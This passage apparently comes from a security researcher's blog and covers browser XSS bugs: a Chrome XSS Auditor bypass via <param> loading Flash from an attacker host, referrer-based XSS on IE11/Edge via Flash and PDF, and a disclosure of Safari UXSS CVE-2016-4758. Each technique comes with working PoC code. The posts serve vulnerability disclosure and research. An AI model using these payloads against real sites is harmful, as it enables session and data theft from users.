  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:
https://vulnerabledoma.in/xss_referrer

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)
Thanks!

Sunday, September 25, 2016

CVE-2016-4758: UXSS in Safari's showModalDialog

I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog method.

Preconditions for Attack

To attack using this bug, we need two conditions:
  1. The target page navigates to the relative URL using JavaScript. (e.g. location="/",window.open("/","_blank"))
  2. That navigation is done after the completion of the page loading.

I created the page that satisfies it:

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>

This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.

The Bug

Now, let's use the showModalDialog method.
The following page only opens the target page in a modal dialog:

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to https://vulnerabledoma.in/index.html. But Safari was different. Surprisingly, Safari navigated to https://l0.cm/index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.

(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <a> tag and xhr.open("GET",[URL]) used the correct URL. )

Developing XSS attacks

According to html5sec.org #42, Safari allows to set the javascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.

And my assumption was correct. This is final PoC:

<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:


Yay!

Conclusion

I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.

If I find interesting bug, I'll share again :D Thanks!